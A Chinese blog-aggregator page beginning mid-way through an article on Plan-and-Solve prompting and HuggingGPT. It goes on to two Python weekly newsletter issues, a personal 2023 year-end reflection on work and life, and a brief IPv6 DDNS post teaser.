为了解决这个问题,Lei Wang 等人提出了 Plan-and-Solve Prompting 提示技术,对应的论文为 Plan-and-Solve Prompting: Improving Zero-Shot Chain-of-Thought Reasoning by Large Language Models,这个提示会提前对问题制定好完整的执行计划,然后在不更新计划的情况下逐步执行,即先把用户的问题拆解成多个子任务,然后再执行各个子任务,直到用户的问题完全被解决。

该提示技术其实和零样本思维链提示非常类似,只是将 Let’s think step by step 换成了下面的提示词:

Let's first understand the problem and devise a plan to solve the problem.
Then, let's carry out the plan to solve the problem step by step.

下图是传统的零样本思维链提示和 PS 提示对比示例:

plan-and-solve.png

Plan-and-Solve Prompting 的实现代码可以在 GitHub 上找到,要注意的是它只是一种提示技术,并没有调用外部工具的能力,论文中为了让大模型能正确的处理数学计算问题,还列出了多种改善后的 PS+ 提示词,比如在提示词中添加 pay attention to calculation 要求大模型尽可能准确地进行计算,添加 extract relevant variables and their corresponding numerals 指示大模型不要忽略输入问题陈述中的相关信息,添加 calculate intermediate results 增强大模型生成推理步骤的能力。

所以单独使用 Plan-and-Solve Prompting 在智能体中作用并不大,一般使用这种思想来将用户的问题拆解成子任务,然后每个子任务再使用传统的 Action Agent 进行处理。在 大模型应用开发框架 LangChain 学习笔记(二) 中,我们学习了 Plan and execute Agent 的概念和用法,它的基本思想就来自于此。

plan-and-execute.png

除此之外,这篇博客 还介绍了另两种 Plan and execute Agent:LLMCompilerReWOO,并提供了基于 LangChain 的实现,有时间再深入研究下。

HuggingGPT

关于任务规划和工具增强的另一个典型例子是由微软提出的 HuggingGPT,对应的论文为 HuggingGPT: Solving AI Tasks with ChatGPT and its Friends in Hugging Face

HuggingGPT 将 ChatGPT 作为控制器,首先对用户的请求任务进行规划,拆分成不同的子任务,然后在 Hugging Face 提供的开源模型库中选择合适的 AI 模型来完成子任务,最终将结果汇总返回给用户。整个工作流程如下:

hugginggpt.png

HuggingGPT 最有意思的一点是它使用的所有工具都来自于 Hugging Face 的开源模型,由于模型非常多,所以在实际使用过程中,首先需要进行模型选择,例如根据模型下载量和任务相关性进行排序,选出 top-K 模型列表,将模型名称和描述等信息放到上下文提示词里,再由大模型选择合适的模型并执行。

下面是一个更具体的任务示例:

hugginggpt-overview.png

可以看到,这是一个比较复杂的任务,任务要求生成一张照片,照片中要包含一个小女孩在读书,且小女孩的姿势要和 example.jpg 中的男孩一样,然后使用语音描述下新生成的图片。HuggingGPT 将这个任务划分成了 6 个子任务,pose-control -> pose-to-image -> image-class -> object-det -> image-to-text -> text-to-speech,并依次执行。

对 HuggingGPT 感兴趣的同学可以参考开源项目 JARVIS 的实现。

参考

更多

论文集锦

其他提示技术

工具增强

LLMs As Tool Makers(LATM)

提示工程安全

Plan-and-Execute Agents

提示工程实战

扫描二维码,在手机上阅读!

by aneasystone at February 24, 2024 02:25 AM

pythoncat

Python 潮流周刊#39:Rust 开发的性能超快的打包工具

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

Ruff 所属团队用 Rust 开发的一个利器:Python 的包解析与安装器uv !它被设计为 pippip-tools 的直接替代品,不使用缓存时比它们快 8-10 倍。也可通过 uv venv 用作虚拟环境管理器,比 python -m venv 快 80 倍,比virtualenv 快 7 倍。(附:一篇中文翻译
Rye 是 Flask 作者在去年 4 月发布的 Python 打包和项目管理工具,作者在文章中总结了它已实现的功能(下载 Python、管理虚拟环境、构建和发布包、linting 和格式化、依赖管理等) ,介绍了自己的设计想法。(附1:作者的 16 分钟教程视频 Rye: a Hassle-Free Python Experience)(附2:上一则分享的 uv 团队已接管了 Rye,将来会融合成一个。Rye Grows With UV
Rust 正在逐步取代 C 语言成为 Python 的高性能后端支撑。文章介绍了 Rust 相比 C 的优势所在,介绍了用 Rust 开发的一些知名的 Python 库。
这篇文章略微标题党了,但是文章介绍的内容很完整:基于 RSS 的异步爬虫、倒排索引、搜索排名、基于 FastAPI 的 Web 网页。可以学习搜索引擎的工作原理,学习从数据获取、数据解析、开放接口、到网页呈现的项目开发流程。
你知道执行 Python 的 print("Hello") 大约需要多少个 CPU 指令么?答案是 17000。导入 seaborn 则需要大约 20 亿个。作者开发了 Cirron 库以计算 CPU 指令数、分支未命中数及代码的时间损耗等指标。
有多个装饰器要加在不同的函数上,而且相同的装饰器可能有不同传参,如何复用这些装饰器?问题初看可能不好理解,文章中有直观示例和解决过程,可以加深你对装饰器的理解和掌握高阶运用。
如何理解 Asyncio 中的 Task 对象?Asyncio 协程的工作原理是什么?如何等待一个任务,又如何等待多个或一组任务?文章介绍了 Asyncio 的工作原理以及任务处理相关的函数用法。
文章介绍了 textwrap 库的几个主要功能,例如 shorten() 裁剪字符串长度、wrap() 将字符串等宽分割、dedent() 处理字符串缩进等。
Python 的一些新特性是在什么版本引入的?作者为了方便,梳理了一些重要语法和标准库的变更记录,同时也指出了每个版本终止维护的时间(例如 Python 3.8 将在今年 10 月 EOL)。(附:这个网站可以查看 Python 及很多项目的 EOL 时间)
直接将数据库作为队列使用,性能会不会很受影响?作者测试的结果是影响很小。具体该如何实现将 Postgres 作为队列使用?如何处理锁和事务、任务重试、处理任务超时等问题?
Django 框架适用于构建复杂的 Web 项目,作者介绍了自己常用的 20 软件包,在 Django 自身的核心功能之外,提供了更丰富的功能。
Python 中的元类是什么?为什么要学习元类?这个高级特性并不常用,但值得学习了解。文章介绍了元类的工作原理,并用现实例子演示它的强大用途。
一个编程挑战项目:有 100,000 个文件,每个文件 1000 万行,计算每个气象站的最低、平均和最高温度。数据存储在 S3 上,总大小 2.5 TB。作者给出了自己的实现(运行 8.5 分钟),以及优化成本的方案。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

用 Rust 开发的速度极快的 Python 包安装器和解析器。Ruff 团队作品。可直接替换 pippip-toolsvirtualenv 常用命令。(star 6.6K)
基于 Flask 开发的 Web 端 SQLite 管理工具,可视化管理数据库、数据表、数据项和索引等,支持 JSON 和 CSV 格式文件的导入导出。(star 2.6K)
实时获取 Celery 的任务状态、工作线程、活动任务数等监控指标,遵循 Prometheus 导出器最佳实践,并利用 Celery-mixin 提供了 Grafana 仪表板及 Prometheus 告警功能。
一个强力的工具和 pre-commit 钩子,可以自动删除冗余写法、用新语法重写过时的代码、用更优雅的写法重构代码,等等。项目文档中给出了很多例子,推荐阅读。(star 3.2K)
# 两个重写成字典推导式的示例
-dict((a, b) for a, b in y)
+{a: b for a, b in y}
-dict([(a, b) for a, b in y])
+{a: b for a, b in y}
支持 Python 3.8+,简单快速集成 Llama 2、Code Llama、mistral、gemma 等大语言模型,可自定义客户端,还可创建异步客户端。
一个命令行工具,可将网页转换为格式精美的 pdf。支持批量转换、自定义样式、附加 CSS、复杂布局、页码、目录和分页符等功能。
NaturalSQL-7B 是拥有超高准确性的文本生成 SQL 大模型,在 SQL-Eval 基准测试中领先 GPT-3.5-turbo 和 claude-2,也领先于同数据规模的 sqlcoder-7b。
Rawdog(具有确定性输出生成的递归增强)是 RAG(检索增强生成)的一种新颖替代方案,可以自己运行脚本并获取输出作为上下文,然后再次调用自己。演示视频的例子很惊艳。(star 1.6K)
微软新推出的 AI 代理框架,可无缝跨多应用操作,完成用户的复杂任务。使用 GPT-Vision 的多模态功能来理解应用 UI,使用 Windows UI 自动化控件交互。(star 1.9K)
在命令行终端快速查看日志文件,支持实时尾随、语法高亮、快捷搜索、自动检测时间戳合并日志等功能,支持 JSONL 文件,可自动打开 .bz 和 .bz2 文件。(star 2K)
在可穿戴设备上搭载 AI,倾听和观察你生活中发生的一切。支持 ESP 平台、Sony Spresense 或 Apple Watch 等硬件,支持本地和在线模型,多模态采集,说话人验证等。
一个用 Python 快速开发响应式 UI 应用的框架,具有内置组件、简洁的即时模式语法和少量的工具样板。支持 Shoelace 组件,支持 Markdown,集成 Chart.js 图表,支持读写浏览器缓存,支持表单验证等。
这个项目旨在使每个人能将 AI 用于解决日常问题。它的方法是将问题拆解成很多独立组件,使用结构化的清晰提示让 AI 完成任务。(star 5.6K)

🐢播客&视频

Meta 官方的一期播客节目,讨论了开发团队对最新 Python 版本的贡献,包括允许自定义 JIT(如 Cinder)的新钩子、永生对象、对类型系统的改进、更快的推导式等等。Meta 对 Python 社区的贡献确实很足哦~(附:谷歌、微软、Meta?谁才是 Python 最大的金主?
FastUI 是一个 Web 界面开发框架,可使用 React 构建响应式 Web 应用,而无需编写任何 JavaScript 或接触 npm。这期播客的嘉宾是该框架的作者。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

February 24, 2024 12:00 AM

February 15, 2024

ihewro

生活是一场脱敏试验(2023年终总结)

2021下半年在一边准备实习一边准备研究生毕业相关的内容,2022年6月正式毕业,也正式入职开始工作。虽然一开始就做了心理建设,工作不是一件轻松的事情,而在今年更是如此。

[scode type="share" size="simple"]

  • 2022年:[post cid="1280" cover="" size="small"/]
  • 2021年:[post cid="1205" size="small"/]
  • 2020年:[post cid="1157" size="small"/]
  • 2019年:[post cid="1075" size="small"/]
  • 2018年:[post cid="861" size="small"/]
  • 2017年:[post cid="748" size="small"/]
  • 2016年:[post cid="524" size="small"/]

[/scode]

工作

“忙”可能是这一年的关键词,但同时这也可能是真正实践编程、软件开发最多的一年。

开发经历

四月份开始了一个封闭项目,自己在该项目中独立负责设计和开发一个较为复杂的模块。也是这次的开发经验,让对代码设计有了真正的实践的机会。

毕业后找工作的时候会去学习“设计原则”、“设计模式”,但实际上对这些概念也是囫囵吞枣,一知半解。

比如最简单的“单例”模式,在实际开发中并不推荐使用,甚至“禁止使用”。为什么?如果直接简单的告诉我,单例隐藏了类之间的隐藏关系,我可能并不理解它的坏处是什么。只有在真正的开发中,会发现单例导致的不少问题。比如滥用单例会经常出现初始化时机异常,稍微调整一下单例初始化顺序就可能出现异常,同时软件中可能有用户身份的切换,切换前后需要保证用户数据彻底从内存中清理,而单例在运行时不销毁想要做到这一点则需要更谨慎些。还有单例的使用对UT也是不够友好的,除非单例本身提供了mock。但总体而言,单例不是最佳选择,除非有充分的理由。

这次的项目开发给予了我充分信任,也提供了很多帮助,比如最开始方案评审,和 leader 讨论了好几轮设计细节,和业务方讨论了也好几轮需求场景以及未来可能的需求场景,这些输入帮助我不断的思考究竟什么样的设计是好的设计。在方案设计过程中会有好几种方案,可能都可以满足需求。当时决策的一个原则是:避免过度抽象过度设计,但同时模块内部需要划分好不同的职责,提高可阅读性。

刚接触设计模块/设计原则,很容易去套公式。未必不对,但是可能因为缺乏经验,最后设计出来的模块看起来很厉害,但是不好用。具体而言,可能是设计的层级多/复杂,业务方不知道怎么使用这个模块。这些纸上谈兵很难有真正的体会,只有真正的实践才是检验“模块设计”的标准,因为开发出来后,后序的与业务方对接以及模块的功能迭代大部分都是自己来承担,这个过程会不会发现之前设计的不错的地方,以及还可以优化改进的地方。

4月到7月份整整三个月几乎没有太多的休息。以为7月结束后,可以恢复到正常(去年)的工作节奏了,但很快发现,只要你愿意投入,工作的强度就一直存在。“出门在外,工作的强度是自己给的”,这话没错。8月\~12月又在负责另一个项目,但同时因为原先的项目在后续有更多的人员参与,所以又会参加不少相关的技术评审会议。

在这个过程中会与非常多的人交流,这是以往未有的。这个过程有三点的变化:更了解职场真实的面貌,同时也对时间规划有更高的要求,以及自己会有自己负责事情有更深、更全面的认识以及迭代方向。

职场真实面貌

刚工作的时候埋头做好自己手头的事情,基本上就很难遇到职场那些糟心的事情。工作和职场的区别就好像是编程和软件工程的区别。编程就是做当下的事情,而软件工程则多一个一个维度:时间。职场同样多了一个维度:人与人的关系。比如和QA安排提测时间,和QA沟通提测细节,和PM对接,和其他RD沟通技术方案,review 其他人的代码。

在跨团队合作中也是非常考验人的一项能力。毕竟跨团队合作,你们彼此之间没有什么上下级,但是却有事情的驱动方和被驱动方。对方客客气气配合合作是他的职业素养高,对方不配合,给你甩脸子,还真的拿人家没办法。当然找对方上级那大概是下下策了,真的上升问题后,下次对方还可能“和气”的一起工作吗?最开始的时候,我没想到别人还会不配合的可能,抱着大家都是很彼此配合的心理一往无前的冲,直到后面吃了几次闭门羹就越发的觉得职场没有那么纯粹和简单的事情。

除此之外,跨团队合作也会遇到甩锅的问题,每个人对问题导致的原因可能理解不一致,就容易产生纷争。亲身就经历过一次这样的事情:另一个团队同事开发的新需求部分代码修改和我当前负责的模块相关。线上出现一个崩溃的时候,这个崩溃栈是在他的代码中的,一开始找不到复现路径,我根据最近的一些需求变化找到了复现路径,原因是业务的一个新的接口组合调用暴露了这个问题,这个问题根源是这个同事代码没有考虑到这个场景(我之前也没有考虑这个场景),所以他写的代码里就没有针对这个场景进行空指针保护,从而导致的崩溃。在我的角度很显然,这个同事直接加一下空指针保护修复一下即可,他却认为是业务调用引入的问题,所以不归他负责。接着直接在群里拉我的leader和他的leader,大有一幅评评理的架势。

虽然这些事情是非常头疼的,但是新的一年的,希望不要因为这些经历导致倾向于在工作上逃避沟通。工作是更好的达成目标,完成事情,如果对方不配合,那是对方的事情,需要想其它的办法来达成目标。专注自己的工作有没有预期,有没有解决问题才是最重要的,工作不是用来交朋友的地方。

当然也在合作中遇到过不错的同事,非常感谢!但总之职场不是一件埋头苦干就行的工作。

工作的时间规划

时间规划也是一个有意思的话题。在工作之前,我对TODO任务规划就有一些研究,比如GTD(Get Things Done),也用过不少任务类软件。在工作中,那些任务规划的技巧对我而言都太繁琐,我更习惯使用一个文档来记录每天的任务和进度,这个过程中最重要的是优先级的排列。始终做优先级最高的事情非常重要,但这一点也非常持续的执行。因为人都是喜欢去做轻松的,成就回报高的事情,对于需要复杂思考的硬骨头总是不自觉的“能拖就拖”,克服这一点是至关重要的。

工作中还有另一件事情非常重要的是承诺的可靠性。期间有一段时间因为自己非常忙,总觉得理所当然的对承诺的事情延期。但这实际上是一种不太靠谱的行为,即使有合理的理由,也不应该多次出现。将心比心,如果自己和对方合作,我们也希望对方给定的预期交付时间是准确的,即使有预期外导致延期,也一定不要因为害怕对方责怪而拖着不去告知缘由,这非常重要。

代码设计思考

工作时间长了,负责的事情多了,同时可以做的自由度也就相对更高了,即所谓的“权责一致”。相比最开始别人怎么说就怎么做,到现在也会对自己负责的模块思考有没有改进的需要,比如部分代码重构等。这是一个很自然的过程,一开始对模块不熟悉,后面随着排查的问题越来越多,就会对模块的细节理解的越来越清晰,就会发现历史代码设计中的一些问题。这些问题可能是随着需求迭代而不断产生的。

经常会说“不要过度设计”,那什么是过度设计,这个度其实只有真正维护这个代码的人才能切实的感受到。

经常会说“高内聚低耦合”也是一样,如果一味的追求解耦,就会出现不必要的代码复杂度变高,有的时候两个模块的定位在当下和未来可见的时间内就是紧密绑定在一起的,那又何苦增加一个中间层解除耦合,增加很多不必要的接口建立两个模块的联系呢?所以这些代码设计原则是真正服从于所做的需求的。

关于代码设计的心得,后面有空也会单独整理一篇文章来和大家交流一下。

对过程总结

工作中还学习到的一点是:对事情/过程的总结。同一个事情,面对不同人需要总结内容是完全不同的。比如一个问题排查过程,对于用户可能不需要知道具体是什么bug,而是给一个修复的预期即可;对于leader 需要知道问题的影响范围,大致的问题原因(不需要太技术细节),以及修复版本;对于其他RD 则可能会想知道更深入的技术细节,导致问题发生的真正原因。每个维度,每个角色所需要的信息都不同,这也是一门技能。这项技能是贯穿整个工作过程中的,在周会、OKR、季度总结、绩效、对上级汇报等等都会使用到。知道读者期望阅读的内容是非常关键的。这一点需要真正实践体会过才能明白。

有的时候我阅读别人的技术方案,根本看不懂,一些缩写名词可能对方已经非常清楚,但作为不了解他工作的内容的人就是看不懂,又或者是流程图和所写的文字对不上,或者是中间漏写了一部分关键流程。

这样的问题可能也会发生在我自己的身上,可能是由于时间问题,没有经历完善好文档,又或者是因为自己始终站在自己的视角,所以是需要不断自省的。所以今年我也会在技术文档、内容总结会多投入时间去学习。

职场流动性

短短入职一年半,身边就变化了很多,去年一起校招的同事转base了,另一位之前交流挺多的同事也转base了。最开始入职的时候mentor也转base了。今年上半年的另一位mentor也离职了,我自己工区也换了一个。

身处其中可能对变化没有太大感觉,但事实上,职场就是不断变化的。在这个过程中,需要清醒的认识的到一点是,自己在工作中所有身份、代码、文章、荣誉都是转瞬即逝的。只有留存在自己大脑中的知识才是最终真实的。如果没有意识这一点,则会对很多没有太大价值事情过分的看重,而忽略了最重要的事情。

生活

生活经历

这一年的生活是简单的,几乎所有的周末我都没怎么出门,周六上午睡到中午,下午和周日的时间过得很快。

4月底的时候开始胸闷,一直到现在也没有完全好,从一开始看呼吸科查CT,后来怀疑和慢性咽炎有关系看耳鼻喉科,再到看消化内科以及心血管科,从上到下几乎都检查了。现在根据症状,消化内科医生判断是慢性胃炎和胃食道反流,但是还没有做胃镜,所以一直吃着抑制胃酸的药。

6月底住的房子到期,终于从5人合租的房子换成三人合租的房子,没想到是一个坑跳进另一个坑,每天早上的关门声都会吵醒我,而且是早上6:50到7点半左右。中间还有长达3~4个月的楼上装修,长达好几周,每天早上8点就开始电钻声!!幸运的是这次3月底到期,这次肯定是不会续租的了。

生活的目标是更多的相对自由

除夕的前一天我请假了一天,准备理发完后收拾行李回家。上午去理发排了很长的队,一直到下午两点多才完成。于是准备找点吃的打发一下午餐。于是找了一个麦当劳的店点了一个鸡腿、一块鸡排、一杯可乐在店里靠窗的地方坐下来了。因为临近除夕,又是下午,店里除了我几乎没有客人,店外偶尔有人路过。

头发刚刚剪完,凭着自己想吃什么就吃什么点的麦当劳,而且迎接到来的春节假期,那一刻可以彻底的忘掉所有的压力,任由食物的美味填饱肚子,漫无目的的放空看向窗外,那一刻感觉特别的自由。

经常我会在心情不好的时候,问自己活着的目的到底是什么。体验更多不一样的经历?我是一个很懒的人,也不喜欢热闹,那些新奇的经历对我而言没有太多的吸引力,出门旅游每次都是劳财伤民,不是我的目标。过更好的生活?要知道更好是无法定义的,有的大house,会想要好家具,会想要更好更多的身外之物,这些都是我不愿意陷入的泥潭。但那一刻我也许明白了,生活的目标就是有越来越的自由。

小的时候,吃烤串、披萨是非常奢侈的事情,当时我应该是小学的时候,爸妈就在北京务工,暑假的时候我会过来,傍晚路边烤串就已经是3块一串了,披萨则是根本没吃过。直到我大学期间,我有一些收入的时候,我点了一次烤串外卖足足点了90多块钱,家里我、妈、爸三人加在一起也吃不完,为什么要点这么多,其实就是不想像过去那样,总是担心太贵了,而违心的说,我不想吃,我吃不下了。后来路过必胜客的时候,第一次进店里买了披萨带回去吃,印象中是60多块钱,现在想来还是挺贵的(外卖一人食也才20多)。

有些自由是随着年龄变化而获得亦或者失去的,比如读书时候,就是会被校园、宿舍这些东西所困,没有独立的经济,不能自由选择自己的生活。每个年纪在我看来都有不同的约束,但目前而言,可能是我觉得相对自由最大的时刻了。

看上去,自由和话语权/地位有些相似,在我看来是完全不同的。自由是解除对自身的禁锢,它基本上不会损害别人的利益,而话语权、地位则是凌驾他人之上,以贬低别人获取更多自己的空间,是非常恶劣的做法。

自由总是相对的,决定没有绝对自由。所谓绝对自由,大抵是什么都可以不做,想干嘛就干嘛。总是需要用一些事情作为代价来换取我们真正需要的那部分自由,这代价本身可能就是某些自由。如果以绝对自由作为人生目标,那只恐怕要失望到底了。

[hplayer]
[Music server="netease" id="1934807" type="song"/]
[/hplayer]

接受失去与珍惜当下

接受失去才意味着面对了现实,只有这样才意味着你跨过了这道坎,但是才能知道接下来怎么走。就比如说一个人生病了,如果没有认识到这个事情,或者不相信不接受自己生病了,那怎么去治疗,和康复呢?

这句话也许出现在很多鸡汤中,但接受失去并不是一件容易的事情。如同标题上写的一样,“生活是一场脱敏试验”,你可能一开始不接受,但是随着时间一次又一次地通过各种方式告诉你就是失去了这个东西。比如生病了失去了健康,身体不舒服是切身感受到的

一次又一次的身体不舒服,让你不得不重视这件事情,意识到自己病了。接下来就必须需要花费时间去重视,只治疗这个问题。生活会一次次的把自己摁在地上摩擦,直到接受现实为止。之前看过这样一句话,时间它是治愈一切的良药。最开始我是不相信的,一年、两年、三年又怎样呢,就可以彻底忘记吗。但是几年后,过去认为非常重要的事情,现在已经变得模糊不清了。

失去固然可惜,但是当下仍然是有着充足的理由值得我们珍惜的。如果没有搞清楚这个理由,那珍惜当下就是一个口号,并不不走心。

在病情较轻的时间点,我天天抱怨,为什么就突然身体不舒服了啊,这真是太倒霉了!我们知道,在任意时刻,当下的状态是有不同的可能性的,可能是身体好的那个分支,也可能是身体差或者身体更差的故事分支。而在那个时刻,我总是和“更好可能性”的分支去比较,就只能心生抱怨、不满与痛苦的。后面的时候,我的病情严重了些,晚上需要频率比较高的深呼吸才能缓解,甚至还影响睡觉。那个时刻,我非常怀念正常呼吸的日子。只要能舒畅的呼吸,我肯定就什么都不抱怨了。当时一直抱怨的生活状态竟成为了未来向往的状态!

这就是为什么我们需要珍惜当下的理由,生活走向更差故事线的可能性并不是很低,反而是很高的,而当下则非常可能是未来我们向往求而不得的生活状态!

就好像“向死而生”一样,人们都说“The best is not come yet”,但现实很可能是“The worst is yet to come”。认识到这一点,才会发自内心的对当下有更多的知足感。

[hplayer]
[Music server="netease" id="17910223" type="song"/]
[/hplayer]

or go on, go on, go on

继续吧 继续吧 继续吧

if you are thinking that the worst is yet to come

如果你认为最糟的还没到来

闲聊是“无意义的话”

我是一个非常不擅长聊天的人。平时吃饭的时候,我会观察大家在聊什么,以及我自己在和别人闲聊,我也会观察别人会和我聊什么。时间长了,我会发现闲聊的很大部分就是车轱辘话,换句话是“无意义的话”。要么聊上周末干了啥、买了啥,看到了啥,要么就是之前聊过的话题因为不同的场景又再一次重新去说。

看过一个段子:“我”出门的时候,邻居总是问,上班去呀。不然呢,早上7点,我背个包去夜店吗?我家狗我总结出每天这个点我要上班了。其实现实就是如此,看到认识的人从食堂出来,就会问,刚吃完饭呀。从茶水间出来,会说来喝水呀。仔细想想这样的寒暄有任何意义吗,平时的闲聊有什么意义吗?

如果说是否从这些话中获得了有意义的信息,获得了成长,那肯定是没有的。但是慢慢觉得,不是所有事情,因为有明确的意义我们才去做,或者换句话是,我们一天那么长的时间其实很多时间都是没意义的。比如我们刷短视频有任何意义吗,大部分时候并不是想从短视频获得什么知道,就是打发时间,获取纯粹的开心或者是猎奇感而已

人与人聊天也是这样的,本身就不需要寻求什么意义,就是打发时间,这个过程里如果能加深聊天对象之间的熟悉感,增加个人与群体的联系,那更是额外收获了。这个,就是我关于这个话题的一些思考和想法。

美好的事情背后是血泪

《繁星·春水》 作者冰心

成功的花,

人们只惊羡她现时的明艳!

然而当初她的芽儿,

浸透了奋斗的泪泉,

洒遍了牺牲的血雨。

小学课本上一首小诗,在今年有了一些更深的感受。

有这样的一个视频估计很多人都看过,就是一个小女孩模仿大人皱眉,惹得大家捧腹大笑。这个小孩的家长在b站上有账号“蹦蹦和蜜糖”。因为这个视频我很早之前就关注了,疫情的时候,他们开了一个炸鸡店,我还看过他们直播。不管是直播还是拍的视频都是我非常羡慕的家庭氛围,虽然他们家不富裕。今年看到他家庭也离婚了,并且因为离婚的事情,爸妈都在各自的账号下发布自证相关的视频。作为一个普通网友总有些说不出的滋味。

:size=30%

这一次是非常真切的感受到所谓“美好生活短视频”的另一面。这并不是个例,抖音的slogan就是“记录美好生活”,但实际上是剪辑美好视频罢了。需要认识到这些看上去美好的视频实际上包含了很多演绎与虚假的成分。

美好生活并非短视频那般轻松,并非唾手可得。要想美好的事情发生在自己身上,一定要付出代价,我们一定要有付出代价这样的一个心理准备和觉悟,这其实是我想说的这个观点。

长期打鸡血是不现实的

我经常会在觉得自己生活不够“上进”的时候,会短期的打鸡血设定一个目标,期望达成后能改变现状,改变生活。但是愈发的发现这是不现实的。

所谓打鸡血就是以一个比较高的要求去要求自己在一个相对较短的时间去获得比较明显的收益。比如想要一个月减肥10斤、一月看xx本书。就好像是一辆没有发动的汽车,突然以120km/h 速度启动起来运行,就很容易出问题,回到现实场景中就很难持续下来。

所以更好坚持的方法是以更小(非常小)的步长、更小(非常小)的目标的开始启动,不要一开始想着设定最终的目标,而是在当前的基础上,设定非常的小的一步,先启动起来,并且坚持一段时间,知道这一步变成当下的习惯后,再在这个基础上再设定一个很小的变化,持续迭代。

这里有一个方法就是“每日三件事”清单,可以用一个文档记录每天要做的三件事。可能你会说我每天要做那么多事情,怎么可能只有三件事。这里要记录的是对自己有略微有挑战的事,或者是之前不愿意做的事情。举个例子,之前做不到早睡,那么就可以将xxx点睡觉作为其中一项,不想洗衣服,就可以将洗衣服作为其中一项。最开始可能有很多想做的事情,但确保始终只记录不超过三件事,我建议从记录一件事开始。超过这个数目的其他事情如果有时间做,不要写在这个清单上,可以默默无闻的做掉,或者记录在另一个清单里。

这个过程我在去年尝试了一个月是非常有效的,但是后来没有坚持下来这个习惯,一方面是后来甚至没有时间(懒)一件事都做不下来。今年我会继续尝试这个事情。

常常遗憾,不要后悔

生命中我们做过很多选择与决定。当回头看的时候,难免会对某些选择感觉到遗憾,从现在的角度来看,当时的选择似乎不够明智。

遗憾和后悔并不是一件事情。弄清这两个概念我觉得非常必要的。奇葩说某一期就有关于这个话题的讨论(EP24:终其一生只是个平凡人你后悔吗)。后悔总是伴随着假设,即如果当初我不那么选择,结果会不会更好,而遗憾则坦然的接受和认清的事实。

比如当时因为某事情和某个人的感情生疏了,那这个结果就是事情,是可以遗憾的。但如果总是想着如果当初这件事那样做就好了,就不会和某人决裂了,那这个行为就是后悔。

后悔是一种非常没有必要的内耗。首先后悔中的假设都是需要回到过去。坦然的问我自己,我不愿意回到我过去的任何一个阶段,我当下的阶段是过去任何一个阶段努力过来的结果,我并不觉得当下的阶段比过去的任何一个阶段综合来看更差,至少在我目前关注的部分,没有更差。其次,就算回去了,以当时的视角、经验、环境,我能做出更好的决定吗,我觉得不能。当时那么做一定有当时的理由,我不是疯子、傻子,再回到过去,这个理由仍然是存在的。

所以不要后悔的本质是不能过高的要求过去的自己有上帝视角作出最佳的决策,而是要接受过去自己所做的每个决定。可以浅浅的为过去一些不是特别正确(也许)的决定叹口气,然后接受它。

by 友人C at February 15, 2024 11:21 AM

February 06, 2024

howiehz

通过指令过滤出正确的公网 ipv6 地址(记一次折腾 IPV6 DDNS)

现象 主机有多个ipv6地址,ddnsgo无法正确获取 研究过程 选择通过接口获取太慢,且不能每次都确保可用 选择通过网卡获取,不能保证每次获取的都是对的(笔者一开始发现固定第二个是有效的,所以使用的是这项,但是重启光猫之后就不能使用了,具体原因请看下文) 通过指令获取,官方给的指令无效 如何创建一

by HowieHz at February 06, 2024 01:24 PM

February 03, 2024

pythoncat

Python 潮流周刊#38:Django + Next.js 构建全栈项目

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

Django 和 Nextjs 是后端和前端开发中非常强大 Web 框架,这篇教程用 Django 4.2 和 Next.js 13 开发了一个餐厅菜单管理项目。Python 全栈项目的入门级教程。
比上一则分享更为全面的 Python 全栈项目教程,除了实现 CURD 操作,还涉及仪表板、表单筛选、Tailwind CSS、不同数据库的使用,以及分别使用 Node.js 和 Django 构建后端等内容。
Numba 是提升 Python 代码性能的常见方案。作者开源了一个 Profila 库,专用于分析 Numba 代码本身的性能问题,文章介绍了它的使用方法,以及关于性能分析的三点局限性。
作者分析了datetime 模块的 10 个陷阱,同时介绍了主流的三方库的情况(例如 arrowpendulumDateTypeheliclockter),发现它们大多存在同样的问题。什么样才是更好的日期时间库?作者开源了一个库,试图解决文中的问题。
这里的“语法”指的是写作语法,不是编程语法。文章介绍了language-tool-pythonGramformerGingerpyaspeller 4 个库用于检查和自动纠正语法错误。
这是作者在 2023 PyCon Sweden 演讲的文字版,分享了他的调试思维、调试工具和技术,工具例如snooppdb/ipdbPuDBweb-pdbbirdseyeKolo 等等。
调试很难,跨多语言调试更难。文章介绍了如何调试多语言问题,使用 GDB 来调试 Python+C 语言,定位和解决死锁问题,分享了一些调试的经验。
Guido 在 2008 年写了 Sorting a million 32-bit integers in 2MB of RAM using Python ,这篇文章是对它作的分析解读。解决方案中用到了不太常见的模块:structarrayheapq ,也用了上下文管理器和生成器等技术。
如何用 Python 开发一个解析器?这篇教程用Pylasu 定义 AST,使用ANTLR 生成解析器,实现从 ANTLR 解析树到 Pylasu AST 的转换,最后构建出带 CLI 的玩具编程语言解析器。
动态规划什么编程技术?相比其它方案,它的特点和优势是什么?文章从常见编程问题出发,使用缓存、优化缓存、动态规划逐步深入,揭开动态规划的神秘面纱。
Python 支持用类型提示,但这并不是强制的。事实上,有很多情况下并不建议使用类型提示。typing 模块的这篇文档列举了一些不推荐使用类型提示的原因。
在个人笔记本电脑上如何运行大语言模型?这篇教程介绍了在不同操作系统上运行llama.cpp 的完整过程,例如选择和下载模型、提示词设置、使用 GBNF 语法格式化 LLM 输出、流式响应、多模态模型等。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

才发布一周就已近 3K star 的火爆项目!CPU.xlsx 文件提供了 16 位 CPU、16 个通用寄存器、128KB RAM 和 128x128 显示区域。使用 Python 进行编译。(star 3K)
前文提及过的日期时间库,克服了标准库和其它三方库没有很好解决的一些问题。
它由一系列代码语言模型组成,每个模型都用 2T token 训练,提供多种型号尺寸,拥有高级代码补全能力,在各项基准测试中表现亮眼。(star 4.3K)
